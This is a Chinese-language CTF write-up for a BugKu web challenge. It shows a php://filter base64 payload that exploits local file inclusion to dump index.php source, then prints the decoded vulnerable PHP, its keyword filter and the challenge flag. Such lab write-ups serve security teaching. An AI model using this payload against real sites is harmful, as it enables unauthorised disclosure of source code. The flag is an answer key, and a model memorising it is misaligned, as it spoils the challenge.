BugKuCTF WEB flag在index里
http://123.206.87.240:8005/post/
題解:本地文件包含漏洞+php偽協(xié)議的結(jié)合應(yīng)用
原理:php的封裝協(xié)議:http://php.net/manual/zh/wrappers.php.php
點擊
URL
http://123.206.87.240:8005/post/index.php?file=show.php文件包含漏洞
URL
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.phpfile=php://filter/read=convert.base64-encode/resource=index.php的含義
首先這是一個file關(guān)鍵字的get參數(shù)傳遞,php://是一種協(xié)議名稱,php://filter/是一種訪問本地文件的協(xié)議,/read=convert.base64-encode/表示讀取的方式是base64編碼后,resource=index.php表示目標(biāo)文件為index.php。
通過傳遞這個參數(shù)可以得到index.php的源碼,下面說說為什么,看到源碼中的include函數(shù),這個表示從外部引入php文件并執(zhí)行,如果執(zhí)行不成功,就返回文件的源碼。
而include的內(nèi)容是由用戶控制的,所以通過我們傳遞的file參數(shù),是include()函數(shù)引入了index.php的base64編碼格式,因為是base64編碼格式,所以執(zhí)行不成功,返回源碼,所以我們得到了源碼的base64格式,解碼即可。
如果不進行base64編碼傳入,就會直接執(zhí)行,而flag的信息在注釋中,是得不到的。
?
我們再看一下源碼中 存在對 ../ tp data input 的過濾,其實這都是php://協(xié)議中的其他方法,都可以結(jié)合文件包含漏洞執(zhí)行。
?
base64解碼
<html><title>Bugku-ctf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:flag{edulcni_elif_lacol_si_siht} ?> </html>?
總結(jié)
以上是生活随笔為你收集整理的BugKuCTF WEB flag在index里的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BugKuCTF WEB web4
- 下一篇: BugKuCTF WEB 输入密码查看f